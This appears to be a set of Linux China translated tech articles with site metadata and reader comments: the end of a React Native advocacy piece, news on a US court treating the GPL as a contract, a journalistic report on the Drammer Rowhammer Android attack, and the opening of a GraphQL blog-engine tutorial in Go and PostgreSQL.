通过 React Native 进行跨平台开发时重复使用其中 90% 的代码也不是没有的事，这个范围通常是 80% 到 90%。
如果你的团队使用 React Native, 既可以消除团队之间的分歧，也可以让 UI 和 API 的设计更一致，还可以加快开发速度。
在编译时不需要使用 React Native，在保存时应用可以实时更新，也加快了开发速度。
React Native 还可以使用 [Code Push](http://microsoft.github.io/code-push/) 和 [AppHub](https://apphub.io/) 这样的工具来远程更新你的 JavaScript 代码。这意味着你可以向用户实时推送更新、新特性，快速修复 bug，绕过打包、发布这些工作，绕过 App Store、Google Play Store 的审核，省去了耗时 2 到 7 天的过程（App Store 一直是整个过程的痛点）。混合应用的这些优势原生应用不可能比得上。
如果这个领域的创新力能像刚发行时那样保持，将来你甚至可以为 [Apple Watch](https://github.com/elliottsj/apple-watch-uikit)、[Apple TV](https://github.com/douglowder/react-native-appletv)，和 [Tizen](https://www.tizen.org/blogs/srsaul/2016/samsung-committed-bringing-react-native-tizen) 这样的平台开发应用。
>
> NativeScript 依然是个相当年轻的框架驱动，Angular 版本 2，[上个月刚刚发布测试版](http://angularjs.blogspot.com/2016/09/angular2-final.html)。但只要它保持良好的市场份额，未来就很有前途。
>
>
>
你可能还不知道世界上一些最能创新、最大的科技公司在这类技术上下了很大的赌注，特别是 [React Native](https://facebook.github.io/react-native/)。
我供职过的多家企业以及世界 500 强公司目前都在转移至 React Native。
### 在产品中特别注意使用 React Native
看下面的例子，[这是一个使用 React Native 技术的著名应用列表](https://facebook.github.io/react-native/showcase.html)。
#### Facebook
*Facebook 公司的 React Native 应用*
Facebook 的两款应用 [Ads Manager](https://play.google.com/store/apps/details?id=com.facebook.adsmanager) 和 [Facebook Groups](https://itunes.apple.com/us/app/facebook-groups/id931735837?mt=8) 都在使用 React Native 技术，并且[将会应用到实现动态消息的框架上](https://devchat.tv/react-native-radio/40-navigation-in-react-native-with-eric-vicenti)。
Facebook 也会投入大量的资金创立和维护像 React Native 这样的开源项目，而且开源项目的开发者最近已经创建很多了不起的项目，这是很了不起的工作，像我以及全世界的业务每天都从中享受诸多好处。
#### Instagram
*Instagram*
Instagram 应用的一部分已经使用了 React Native 技术。
#### Airbnb
*Airbnb*
Airbnb 的很多东西正用 React Native 重写。（来自 [Leland Richardson](https://medium.com/u/41a8b1601c59)）
超过 90% 的 Airbnb 旅行平台都是用 React Native 写的。（来自 [spikebrehm](https://medium.com/u/71a78c1b069b)）
#### Vogue
*Vogue 是 2016 年度十佳应用之一*
Vogue 这么突出不仅仅因为它也用 React Native 写成，而是[因为它被苹果公司评为年度十佳应用之一](http://www.highsnobiety.com/2016/12/08/iphone-apps-best-of-the-year-2016/)。
#### 沃尔玛
*Walmart Labs*
查看这篇 [Keerti](https://medium.com/@Keerti) 的[文章](https://medium.com/walmartlabs/react-native-at-walmartlabs-cdd140589560#.azpn97g8t)来了解沃尔玛是怎样看待 React Native 的优势的。
#### 微软
微软在 React Native 身上下的赌注很大。
它早已发布多个开源工具，包括 [Code Push](http://microsoft.github.io/code-push/)、[React Native VS Code](https://github.com/Microsoft/vscode-react-native)，以及 [React Native Windows](https://github.com/ReactWindows/react-native-windows)，旨在帮助开发者向 React Native 领域转移。
微软考虑的是那些已经使用 React Native 为 iOS 和 Android 开发应用的开发者，他们可以重用高达 90% 的代码，不用花费太多额外的时间和成本就可将应用发布到 Windows 上。
微软对 React Native 生态的贡献十分广泛，过去几年在开源界的表现很抢眼。
### 结论
移动应用界面设计和移动应用开发要进行范式转变，下一步就是 React Native 以及与其相似的技术。
#### 公司
如果你的公司正想着削减成本、加快开发速度，而又不想在应用质量和性能上妥协，这是最适合使用 React Native 的时候，它能提高你的净利润。
#### 开发者
如果你是一个开发者，想进入一个将来会快速发展的领域，我强烈推荐你把 React Native 列入你的学习清单。
如果了解 JavaScript，你会入门很快，工具我首推 [Exponent](https://medium.com/u/df61a4267d7a)，其他的就看你怎么想了。使用 Exponent 开发者可以轻松的编译、测试和发布跨 Windows 和 MacOS 两个平台的 React Native 应用。
如果已经是一位原生应用开发者，你更会受益匪浅。因为在需要时你能够胜任深入研究原生应用边缘的工作。虽然不会经常用到，但在团队需要时这可是十分宝贵的能力。
我花了很多时间来学习、指导别人 React Native。因为它让我十分激动，而且使用这个框架创作应用也是我一个平淡的小乐趣。
感谢阅读。
---
作者简介：
教授和构建 React Native 应用的软件开发专家
---
via: <https://hackernoon.com/the-cost-of-native-mobile-app-development-is-too-damn-high-4d258025033a>
作者：[Nader Dabit](https://hackernoon.com/@dabit3) 译者：[fuowang](https://github.com/fuowang) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
美联邦法院裁定：GPL 是可执行的合约
|
Keith Collins
|
https://qz.com/981029/a-federal-court-has-ruled-that-an-open-source-license-is-an-enforceable-contract/
|
韩国一家开发了 Hancom Office 办公软件的公司在其字处理软件中集成了开源软件 Ghostscript，但是没有遵守 Ghostscript 的 GPL 许可证而开源，也没有为该软件付费。近日，该韩国公司被美国联邦法院裁定其违约。
|
/data/attachment/album/201705/19/001121wunv51nt0bou0ono.jpg.thumb.jpg
|
/data/attachment/album/201705/19/001121wunv51nt0bou0ono.jpg
| true | false | true |
wxy
| true |
[
"GPL",
"开源许可证"
] |
观点
|
{
"viewnum": 5999,
"commentnum": 5,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "111.20.112.126",
"message": "GPL本身也是契约精神的一部分。这样的判决确实更体现了美国法律对契约精神的尊重！！！",
"username": "来自陕西西安的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-19T09:19:02"
},
{
"postip": "117.152.73.12",
"message": "这种事，国内管不了",
"username": "来自117.152.73.12的 Chrome 57.0|Windows 10 用户",
"date": "2017-05-19T11:24:32"
},
{
"postip": "122.195.214.56",
"message": "淦！早知道就把端午节给GPL了！",
"username": "来自江苏淮安的 Firefox 53.0|Windows 7 用户",
"date": "2017-05-20T09:42:26"
},
{
"postip": "121.13.246.235",
"message": "你如果使用了GPL的有关协议的软件，你就默认遵守其规定，不然你就是盗用别人的软件。",
"username": "来自广东东莞的 Chrome 50.0|Windows 7 用户",
"date": "2017-06-02T17:36:12"
},
{
"postip": "27.156.1.149",
"message": "Hancom真是恶心！剽窃还有理。",
"username": "来自福建福州的 Firefox 48.0|GNU/Linux 用户",
"date": "2017-06-03T14:22:06"
}
] |
[
{
"raid": 9494,
"displayorder": 0
}
] |
韩国一家开发了 Hancom Office 办公软件的公司在其字处理软件中集成了开源软件 Ghostscript，但是没有遵守 Ghostscript 的 GPL 许可证而开源，也没有为该软件付费。近日，该韩国公司被美国联邦法院裁定其违约。
| 2017-05-19T09:07:00 | 2017-05-19T09:07:00 | 8,522 |
/article-8522-1.html
|
韩国一家开发了 Hancom Office 办公软件的公司在其字处理软件中集成了开源软件 Ghostscript，但是没有遵守 Ghostscript 的 GNU GPL 许可证而开源，也没有为该软件付费。近日，该韩国公司被美国联邦法院裁定其违约。
Ghostscript 是一个开源软件，由 Artifex 公司开发，其采用了两种许可证：
* GNU GPL 许可证
* 商业付费许可证
如果要免费使用 Ghostscript，Hancom 就需要遵循该软件的开源许可证，即 GNU GPL。该许可证要求，如果你的软件中使用了采用该许可协议的软件，并公开发布的话，就需要也采用同样的 GNU GPL 许可证开源。也就是说， Hancom 需要开源其整个办公软件套件。
否则，Hancom 就需要向 Ghostscript 的开发商 Artifex 公司支付商业许可证费用。Artifex 允许商业或其它闭源软件开发商绕开严格的开源许可证 GNU GPL，只要付费就行。
但是 Hancom 从 2013 年在其软件中使用了 Ghostscript 之后，却什么都没做：既没有开源其软件，也没有向 Artifex 公司付商业许可证的费用。
在 2016 年底，交涉无果的 Artifex 公司向美国加利福尼亚北部地区法院发起了诉讼。
“在发现 Hancom 违反了 GNU GPL 许可证，侵犯了 Artifex 的 Ghostscript 的宝贵版权之后，Artifex 要求 Hancom 停止其侵权行为，并为其多年无版权使用 Ghostscript 支付合理的版权费用，”该公司陈述到，“Hancom 拒绝了该要求，Artifex 转而寻求本法院责令 Hancom 停止进一步侵权并支付其滥用 Artifex 的开源许可证的费用。”
Artifex 还提到 Hancom 在 2015 年收入了 8630 万美元。
像 GUN GPL 这样的开源许可证的可执行性长期以来一直是一个悬而未决的法律问题。美国联邦巡回法庭在 2006 年的一个判例，雅各布森诉卡泽尔案中，对开源许可证的侵犯裁定可视作对版权申明的处理。但是在本案之前，这种侵犯开源许可证是否可以依法视作侵犯合约并未裁定。
Hancom 尝试发起动议以驳回该诉讼，其认为该公司并未签署任何东西，所以该许可证并不是真正的合约。
“并不是这样”，杰奎琳·斯科特·科里法官在 4 月 25 日的议案中说。她说 GNU GPL “规定了如果用户没有获取商业许可证，即表示同意其条款。原告称被告没有获取商业许可证，并公开表明其在 GNU GPL 下使用 Ghostscript。这些指控足以为合约的存在而辩护。”
科里法官驳回了 Hancom 的动议。按照这样的做法，就树立了像 GNU GPL 这样的开源许可证可以被视作法律合约的先例，在开发商违反了开源许可证时会被起诉。这对于开源社区来说是一个重大胜利。
当然，Artifex 是否可以最终赢得这一诉讼，还要看后继的上诉和裁定。
|
||
Rowhammer：针对物理内存的攻击可以取得 Android 设备的 root 权限
|
Lucian Constantin
|
http://www.csoonline.com/article/3134726/security/physical-ram-attack-can-root-android-and-possibly-other-devices.html
|
这种称之为“Rowhammer”的攻击起源于过去十多年中将更多的 DRAM（动态随机存取存储器）容量封装进越来越小的芯片中，这将导致在特定情况下存储单元电子可以从相邻两行row的一边泄漏到另一边。
|
/data/attachment/album/201705/19/083412z8b77tcuwebuthhz.jpg.thumb.jpg
|
/data/attachment/album/201705/19/083412z8b77tcuwebuthhz.jpg
| true | false | true |
wcnnbdk1
| false |
[
"Rowhammer",
"攻击"
] |
观点
|
{
"viewnum": 5438,
"commentnum": 1,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "218.88.46.39",
"message": "“VUSec 的研究者认为，谷歌的缓解方案将会使得攻击过程更为复杂，但是它不能修复潜在的问题。” 我以为虽然这是一个利用硬件设计缺陷的漏洞，但是需要软件去触发，所以用另一种软件提供一种缓解措施，不失为一种办法。只是现在人类设计的计算机硬件还有软件如此的千疮百孔，不堪一击，还不说来自宇宙的高能射线的威胁，凭这些就像傲游星辰大海实在是有些痴心妄想。",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-20T11:11:15"
}
] |
[] |
这种称之为“Rowhammer”的攻击起源于过去十多年中将更多的 DRAM（动态随机存取存储器）容量封装进越来越小的芯片中，这将导致在特定情况下存储单元电子可以从相邻两行row的一边泄漏到另一边。
| 2017-05-20T08:32:00 | 2017-05-20T08:32:00 | 8,523 |
/article-8523-1.html
|
>
> 攻击者确实可以在物理存储单元中实现位翻转来达到侵入移动设备与计算机的目的
>
>
>
研究者们发现了一种新的在不利用任何软件漏洞情况下，利用内存芯片物理设计上的弱点来侵入 Android 设备的方式。这种攻击技术同样可以影响到其它如 ARM 和 X86 架构的设备与计算机。
这种称之为“Rowhammer”的攻击起源于过去十多年中将更多的 DRAM（动态随机存取存储器）容量封装进越来越小的芯片中，这将导致在特定情况下存储单元电子可以从相邻两<ruby> 行 <rt> row </rt></ruby>的一边泄漏到另一边。（LCTT 译注：参见 [https://en.wikipedia.org/wiki/Row\_hammer）](https://en.wikipedia.org/wiki/Row_hammer%EF%BC%89)
例如，反复且快速的访问相同的物理储存位置，这种被称为 “<ruby> 锤击 <rt> hammering </rt></ruby>” 的行为可以导致相邻位置的位值从 0 反转成 1，或者相反。
虽然这样的电子干扰已经被生产商知晓并且从可靠性角度研究了一段时间了，因为内存错误能够导致系统崩溃。而研究者们现在展示了在可控方式的触发下它所存在的严重安全隐患。
在 2015 年 4 月，来自谷歌 Project Zero 项目的研究者公布了两份基于内存 “Rowhammer”漏洞对于 x86-64 CPU 架构的 [提权利用](http://www.computerworld.com/article/2895898/google-researchers-hack-computers-using-dram-electrical-leaks.html)。其中一份利用可以使代码从谷歌的 Chrome 浏览器沙盒里逃逸并且直接在系统上执行，另一份可以在 Linux 机器上获取内核级权限。
此后，其他的研究者进行了更深入的调查并且展示了[通过网站中 JaveScript 脚本进行利用的方式](http://www.computerworld.com/article/2954582/security/researchers-develop-astonishing-webbased-attack-on-a-computers-dram.html)甚至能够影响运行在云环境下的[虚拟服务器](http://www.infoworld.com/article/3105889/security/flip-feng-shui-attack-on-cloud-vms-exploits-hardware-weaknesses.html)。然而，对于这项技术是否可以应用在智能手机和移动设备大量使用的 ARM 架构中还是有疑问的。
现在，一队成员来自荷兰阿姆斯特丹自由大学、奥地利格拉茨技术大学和加州大学圣塔芭芭拉分校的 VUSec 小组，已经证明了 Rowhammer 不仅仅可以应用在 ARM 架构上并且甚至比在 x86 架构上更容易。
研究者们将他们的新攻击命名为 Drammer，代表了 Rowhammer 确实存在，并且计划于周三在维也纳举办的第 23 届 ACM 计算机与通信安全大会上展示。这种攻击建立在之前就被发现与实现的 Rowhammer 技术之上。
VUSec 小组的研究者已经制造了一个适用于 Android 设备的恶意应用，当它被执行的时候利用不易察觉的内存位反转在不需要任何权限的情况下就可以获取设备根权限。
研究者们测试了来自不同制造商的 27 款 Android 设备，21 款使用 ARMv7（32-bit）指令集架构，其它 6 款使用 ARMv8（64-bit）指令集架构。他们成功的在 17 款 ARMv7 设备和 1 款 ARMv8 设备上实现了为反转，表明了这些设备是易受攻击的。
此外，Drammer 能够与其它的 Android 漏洞组合使用，例如 [Stagefright](http://www.csoonline.com/article/3045836/security/new-stagefright-exploit-puts-millions-of-android-devices-at-risk.html) 或者 [BAndroid](https://www.vusec.net/projects/bandroid/) 来实现无需用户手动下载恶意应用的远程攻击。
谷歌已经注意到了这一类型的攻击。“在研究者向谷歌漏洞奖励计划报告了这个问题之后，我们与他们进行了密切的沟通来深入理解这个问题以便我们更好的保护用户，”一位谷歌的代表在一份邮件申明中这样说到。“我们已经开发了一个缓解方案，将会包含在十一月的安全更新中。”（LCTT 译注：缓解方案，参见 <https://en.wikipedia.org/wiki/Vulnerability_management>）
VUSec 的研究者认为，谷歌的缓解方案将会使得攻击过程更为复杂，但是它不能修复潜在的问题。
事实上，从软件上去修复一个由硬件导致的问题是不现实的。硬件供应商正在研究相关问题并且有可能在将来的内存芯片中被修复，但是在现有设备的芯片中风险依然存在。
更糟的是，研究者们说，由于有许多因素会影响到攻击的成功与否并且这些因素尚未被研究透彻，因此很难去说有哪些设备会被影响到。例如，内存控制器可能会在不同的电量的情况下展现不同的行为，因此一个设备可能在满电的情况下没有风险，当它处于低电量的情况下就是有风险的。
同样的，在网络安全中有这样一句俗语：<ruby> 攻击将变本加厉，如火如荼 <rt> Attacks always get getter, they never get worse </rt></ruby>。Rowhammer 攻击已经从理论变成了现实可能，同样的，它也可能会从现在的现实可能变成确确实实的存在。这意味着今天某个设备是不被影响的，在明天就有可能被改进后的 Rowhammer 技术证明它是存在风险的。
Drammer 在 Android 上实现是因为研究者期望研究基于 ARM 设备的影响，但是潜在的技术可以被使用在所有的架构与操作系统上。新的攻击相较于之前建立在运气与特殊特性与特定平台之上并且十分容易失效的技术已经是一个巨大的进步了。
Drammer 攻击的实现依靠于被包括图形、网络、声音等大量硬件子系统所使用的 DMA（直接存储访问）缓存。Drammer 的实现采用了所有操作系统上都有的 Android 的 ION 内存分配器、接口与方法，这给我们带来的警示是该论文的主要贡献之一。
“破天荒的，我们成功地展示了我们可以做到，在不依赖任何特定的特性情况下完全可靠的证明了 Rowhammer”， VUSec 小组中的其中一位研究者 Cristiano Giuffrida 这样说道。“攻击所利用的内存位置并非是 Android 独有的。攻击在任何的 Linux 平台上都能工作 -- 我们甚至怀疑其它操作系统也可以 -- 因为它利用的是操作系统内核内存管理中固有的特性。”
“我期待我们可以看到更多针对其它平台的攻击的变种，”阿姆斯特丹自由大学的教授兼 VUSec 系统安全研究小组的领导者 Herbert Bos 补充道。
在他们的[论文](https://vvdveen.com/publications/drammer.pdf)之外，研究者们也释出了一个 Android 应用来测试 Android 设备在当前所知的技术条件下受到 Rowhammer 攻击时是否会有风险。应用还没有传上谷歌应用商店，可以从 [VUSec Drammer 网站](https://www.vusec.net/projects/drammer/) 下载来手动安装。一个开源的 Rowhammer 模拟器同样能够帮助其他的研究者来更深入的研究这个问题。
---
via:<http://www.csoonline.com/article/3134726/security/physical-ram-attack-can-root-android-and-possibly-other-devices.html>
作者：[Lucian Constantin](http://www.csoonline.com/author/Lucian-Constantin/) 译者：[wcnnbdk1](https://github.com/wcnnbdk1) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
GraphQL 用例：使用 Golang 和 PostgreSQL 构建一个博客引擎 API
|
Alexandru Topliceanu
|
http://alexandrutopliceanu.ro/post/graphql-with-go-and-postgresql
|
我们会比较简单的 GraphQL 实现和纯 REST 替代方案，在一种普通场景（呈现博客文章页面）下对比它们的实现复杂性和效率。
|
/data/attachment/album/201705/19/111808se294h4oy3b1bobe.jpg.thumb.jpg
|
/data/attachment/album/201705/19/111808se294h4oy3b1bobe.jpg
| true | false | true |
ictlyh
| false |
[
"GraphQL",
"图数据库"
] |
软件开发
|
{
"viewnum": 11803,
"commentnum": 0,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
我们会比较简单的 GraphQL 实现和纯 REST 替代方案，在一种普通场景（呈现博客文章页面）下对比它们的实现复杂性和效率。
| 2017-05-19T11:18:22 | 2017-05-19T11:18:22 | 8,524 |
/article-8524-1.html
|
### 摘要
GraphQL 在生产环境中似乎难以使用：虽然对于建模功能来说图接口非常灵活，但是并不适用于关系型存储，不管是在实现还是性能方面。
在这篇博客中，我们会设计并实现一个简单的博客引擎 API，它支持以下功能：
* 三种类型的资源（用户、博文以及评论）支持多种功能（创建用户、创建博文、给博文添加评论、关注其它用户的博文和评论，等等。）
* 使用 PostgreSQL 作为后端数据存储（选择它因为它是一个流行的关系型数据库）。
* 使用 Golang（开发 API 的一个流行语言）实现 API。
我们会比较简单的 GraphQL 实现和纯 REST 替代方案，在一种普通场景（呈现博客文章页面）下对比它们的实现复杂性和效率。
### 介绍
GraphQL 是一种 IDL（<ruby> 接口定义语言 <rp> （ </rp> <rt> Interface Definition Language </rt> <rp> ） </rp></ruby>），设计者定义数据类型和并把数据建模为一个<ruby> 图 <rp> （ </rp> <rt> graph </rt> <rp> ） </rp></ruby>。每个顶点都是一种数据类型的一个实例，边代表了节点之间的关系。这种方式非常灵活，能适应任何业务领域。然而，问题是设计过程更加复杂，而且传统的数据存储不能很好地映射到图模型。阅读*附录1*了解更多关于这个问题的详细信息。
GraphQL 在 2014 年由 Facebook 的工程师团队首次提出。尽管它的优点和功能非常有趣而且引人注目，但它并没有得到大规模应用。开发者需要权衡 REST 的设计简单性、熟悉性、丰富的工具和 GraphQL 不会受限于 CRUD（LCTT 译注：Create、Read、Update、Delete） 以及网络性能（它优化了往返服务器的网络）的灵活性。
大部分关于 GraphQL 的教程和指南都跳过了从数据存储获取数据以便解决查询的问题。也就是，如何使用通用目的、流行存储方案（例如关系型数据库）为 GraphQL API 设计一个支持高效数据提取的数据库。
这篇博客介绍构建一个博客引擎 GraphQL API 的流程。它的功能相当复杂。为了和基于 REST 的方法进行比较，它的范围被限制为一个熟悉的业务领域。
这篇博客的文章结构如下：
* 第一部分我们会设计一个 GraphQL 模式并介绍所使用语言的一些功能。
* 第二部分是 PostgreSQL 数据库的设计。
* 第三部分介绍了使用 Golang 实现第一部分设计的 GraphQL 模式。
* 第四部分我们以从后端获取所需数据的角度来比较呈现博客文章页面的任务。
### 相关阅读
* 很棒的 [GraphQL 介绍文档](http://graphql.org/learn/)。
* 该项目的完整实现代码在 [github.com/topliceanu/graphql-go-example](https://github.com/topliceanu/graphql-go-example)。
### 在 GraphQL 中建模一个博客引擎
下述*列表1*包括了博客引擎 API 的全部模式。它显示了组成图的顶点的数据类型。顶点之间的关系，也就是边，被建模为指定类型的属性。
```
type User {
id: ID
email: String!
post(id: ID!): Post
posts: [Post!]!
follower(id: ID!): User
followers: [User!]!
followee(id: ID!): User
followees: [User!]!
}
type Post {
id: ID
user: User!
title: String!
body: String!
comment(id: ID!): Comment
comments: [Comment!]!
}
type Comment {
id: ID
user: User!
post: Post!
title: String
body: String!
}
type Query {
user(id: ID!): User
}
type Mutation {
createUser(email: String!): User
removeUser(id: ID!): Boolean
follow(follower: ID!, followee: ID!): Boolean
unfollow(follower: ID!, followee: ID!): Boolean
createPost(user: ID!, title: String!, body: String!): Post
removePost(id: ID!): Boolean
createComment(user: ID!, post: ID!, title: String!, body: String!): Comment
removeComment(id: ID!): Boolean
}
```
*列表1*
模式使用 GraphQL DSL 编写，它用于定义自定义数据类型，例如 `User`、`Post` 和 `Comment`。该语言也提供了一系列原始数据类型，例如 `String`、`Boolean` 和 `ID`（它是`String` 的别名，但是有顶点唯一标识符的额外语义）。
`Query` 和 `Mutation` 是语法解析器能识别并用于查询图的可选类型。从 GraphQL API 读取数据等同于遍历图。需要提供这样一个起始顶点；该角色通过 `Query` 类型来实现。在这种情况中，所有图的查询都要从一个由 id `user(id:ID!)` 指定的用户开始。对于写数据，定义了 `Mutation` 顶点。它提供了一系列操作，建模为能遍历（并返回）新创建顶点类型的参数化属性。*列表2*是这些查询的一些例子。
顶点属性能被参数化，也就是能接受参数。在图遍历场景中，如果一个博文顶点有多个评论顶点，你可以通过指定 `comment(id: ID)` 只遍历其中的一个。所有这些都取决于设计，设计者可以选择不提供到每个独立顶点的直接路径。
`!` 字符是一个类型后缀，适用于原始类型和用户定义类型，它有两种语义：
* 当被用于参数化属性的参数类型时，表示这个参数是必须的。
* 当被用于一个属性的返回类型时，表示当顶点被获取时该属性不会为空。
* 也可以把它们组合起来，例如 `[Comment!]!` 表示一个非空 Comment 顶点链表，其中 `[]`、`[Comment]` 是有效的，但 `null, [null], [Comment, null]` 就不是。
*列表2* 包括一系列用于博客 API 的 `curl` 命令，它们会使用 mutation 填充图然后查询图以便获取数据。要运行它们，按照 [topliceanu/graphql-go-example](https://github.com/graphql/graphql-js) 仓库中的指令编译并运行服务。
```
# 创建用户 1、2 和 3 的更改。更改和查询类似，在该情景中我们检索新创建用户的 id 和 email。
curl -XPOST http://vm:8080/graphql -d 'mutation {createUser(email:"user1@x.co"){id, email}}'
curl -XPOST http://vm:8080/graphql -d 'mutation {createUser(email:"user2@x.co"){id, email}}'
curl -XPOST http://vm:8080/graphql -d 'mutation {createUser(email:"user3@x.co"){id, email}}'
# 为用户添加博文的更改。为了和模式匹配我们需要检索他们的 id，否则会出现错误。
curl -XPOST http://vm:8080/graphql -d 'mutation {createPost(user:1,title:"post1",body:"body1"){id}}'
curl -XPOST http://vm:8080/graphql -d 'mutation {createPost(user:1,title:"post2",body:"body2"){id}}'
curl -XPOST http://vm:8080/graphql -d 'mutation {createPost(user:2,title:"post3",body:"body3"){id}}'
# 博文所有评论的更改。`createComment` 需要用户 id，标题和正文。看列表 1 的模式。
curl -XPOST http://vm:8080/graphql -d 'mutation {createComment(user:2,post:1,title:"comment1",body:"comment1"){id}}'
curl -XPOST http://vm:8080/graphql -d 'mutation {createComment(user:1,post:3,title:"comment2",body:"comment2"){id}}'
curl -XPOST http://vm:8080/graphql -d 'mutation {createComment(user:3,post:3,title:"comment3",body:"comment3"){id}}'
# 让用户 3 关注用户 1 和用户 2 的更改。注意 `follow` 更改只返回一个布尔值而不需要指定。
curl -XPOST http://vm:8080/graphql -d 'mutation {follow(follower:3, followee:1)}'
curl -XPOST http://vm:8080/graphql -d 'mutation {follow(follower:3, followee:2)}'
# 用户获取用户 1 所有数据的查询。
curl -XPOST http://vm:8080/graphql -d '{user(id:1)}'
# 用户获取用户 2 和用户 1 的关注者的查询。
curl -XPOST http://vm:8080/graphql -d '{user(id:2){followers{id, email}}}'
curl -XPOST http://vm:8080/graphql -d '{user(id:1){followers{id, email}}}'
# 检测用户 2 是否被用户 1 关注的查询。如果是，检索用户 1 的 email，否则返回空。
curl -XPOST http://vm:8080/graphql -d '{user(id:2){follower(id:1){email}}}'
# 返回用户 3 关注的所有用户 id 和 email 的查询。
curl -XPOST http://vm:8080/graphql -d '{user(id:3){followees{id, email}}}'
# 如果用户 3 被用户 1 关注，就获取用户 3 email 的查询。
curl -XPOST http://vm:8080/graphql -d '{user(id:1){followee(id:3){email}}}'
# 获取用户 1 的第二篇博文的查询，检索它的标题和正文。如果博文 2 不是由用户 1 创建的，就会返回空。
curl -XPOST http://vm:8080/graphql -d '{user(id:1){post(id:2){title,body}}}'
# 获取用户 1 的所有博文的所有数据的查询。
curl -XPOST http://vm:8080/graphql -d '{user(id:1){posts{id,title,body}}}'
# 获取写博文 2 用户的查询，如果博文 2 是由 用户 1 撰写；一个现实语言灵活性的例证。
curl -XPOST http://vm:8080/graphql -d '{user(id:1){post(id:2){user{id,email}}}}'
```
*列表2*
通过仔细设计 mutation 和类型属性，可以实现强大而富有表达力的查询。
### 设计 PostgreSQL 数据库
关系型数据库的设计，一如以往，由避免数据冗余的需求驱动。选择该方式有两个原因：
1. 表明实现 GraphQL API 不需要定制化的数据库技术或者学习和使用新的设计技巧。
2. 表明 GraphQL API 能在现有的数据库之上创建，更具体地说，最初设计用于 REST 后端甚至传统的呈现 HTML 站点的服务器端数据库。
阅读 *附录1* 了解关于关系型和图数据库在构建 GraphQL API 方面的区别。*列表3* 显示了用于创建新数据库的 SQL 命令。数据库模式和 GraphQL 模式相对应。为了支持 `follow/unfollow` 更改，需要添加 `followers` 关系。
```
CREATE TABLE IF NOT EXISTS users (
id SERIAL PRIMARY KEY,
email VARCHAR(100) NOT NULL
);
CREATE TABLE IF NOT EXISTS posts (
id SERIAL PRIMARY KEY,
user_id INTEGER NOT NULL REFERENCES users(id) ON DELETE CASCADE,
title VARCHAR(200) NOT NULL,
body TEXT NOT NULL
);
CREATE TABLE IF NOT EXISTS comments (
id SERIAL PRIMARY KEY,
user_id INTEGER NOT NULL REFERENCES users(id) ON DELETE CASCADE,
post_id INTEGER NOT NULL REFERENCES posts(id) ON DELETE CASCADE,
title VARCHAR(200) NOT NULL,
body TEXT NOT NULL
);
CREATE TABLE IF NOT EXISTS followers (
follower_id INTEGER NOT NULL REFERENCES users(id) ON DELETE CASCADE,
followee_id INTEGER NOT NULL REFERENCES users(id) ON DELETE CASCADE,
PRIMARY KEY(follower_id, followee_id)
);
```
*列表3*
### Golang API 实现
本项目使用的用 Go 实现的 GraphQL 语法解析器是 `github.com/graphql-go/graphql`。它包括一个查询解析器，但不包括模式解析器。这要求开发者利用库提供的结构使用 Go 构建 GraphQL 模式。这和 [nodejs 实现](https://github.com/graphql/graphql-js) 不同，后者提供了一个模式解析器并为数据获取暴露了钩子。因此 *列表1* 中的模式只是作为指导使用，需要转化为 Golang 代码。然而，这个*“限制”*提供了与抽象级别对等的机会，并且了解模式如何和用于检索数据的图遍历模型相关。*列表4* 显示了 `Comment` 顶点类型的实现：
```
var CommentType = graphql.NewObject(graphql.ObjectConfig{
Name: "Comment",
Fields: graphql.Fields{
"id": &graphql.Field{
Type: graphql.NewNonNull(graphql.ID),
Resolve: func(p graphql.ResolveParams) (interface{}, error) {
if comment, ok := p.Source.(*Comment); ok == true {
return comment.ID, nil
}
return nil, nil
},
},
"title": &graphql.Field{
Type: graphql.NewNonNull(graphql.String),
Resolve: func(p graphql.ResolveParams) (interface{}, error) {
if comment, ok := p.Source.(*Comment); ok == true {
return comment.Title, nil
}
return nil, nil
},
},
"body": &graphql.Field{
Type: graphql.NewNonNull(graphql.ID),
Resolve: func(p graphql.ResolveParams) (interface{}, error) {
if comment, ok := p.Source.(*Comment); ok == true {
return comment.Body, nil
}
return nil, nil
},
},
},
})
func init() {
CommentType.AddFieldConfig("user", &graphql.Field{
Type: UserType,
Resolve: func(p graphql.ResolveParams) (interface{}, error) {
if comment, ok := p.Source.(*Comment); ok == true {
return GetUserByID(comment.UserID)
}
return nil, nil
},
})
CommentType.AddFieldConfig("post", &graphql.Field{
Type: PostType,
Args: graphql.FieldConfigArgument{
"id": &graphql.ArgumentConfig{
Description: "Post ID",
Type: graphql.NewNonNull(graphql.ID),
},
},
Resolve: func(p graphql.ResolveParams) (interface{}, error) {
i := p.Args["id"].(string)
id, err := strconv.Atoi(i)
if err != nil {
return nil, err
}
return GetPostByID(id)
},
})
}
```
*列表4*
正如 *列表1* 中的模式，`Comment` 类型是静态定义的一个有三个属性的结构体：`id`、`title` 和 `body`。为了避免循环依赖，动态定义了 `user` 和 `post` 两个其它属性。
Go 并不适用于这种动态建模，它只支持一些类型检查，代码中大部分变量都是 `interface{}` 类型，在使用之前都需要进行类型断言。`CommentType` 是一个 `graphql.Object` 类型的变量，它的属性是 `graphql.Field` 类型。因此，GraphQL DSL 和 Go 中使用的数据结构并没有直接的转换。
每个字段的 `resolve` 函数暴露了 `Source` 参数，它是表示遍历时前一个节点的数据类型顶点。`Comment` 的所有属性都有作为 source 的当前 `CommentType` 顶点。检索`id`、`title` 和 `body` 是一个直接属性访问，而检索 `user` 和 `post` 要求图遍历，也需要数据库查询。由于它们非常简单，这篇文章并没有介绍这些 SQL 查询，但在*参考文献*部分列出的 github 仓库中有。
### 普通场景下和 REST 的对比
在这一部分，我们会展示一个普通的博客文章呈现场景，并比较 REST 和 GraphQL 的实现。关注重点会放在入站/出站请求数量，因为这些是造成页面呈现延迟的最主要原因。
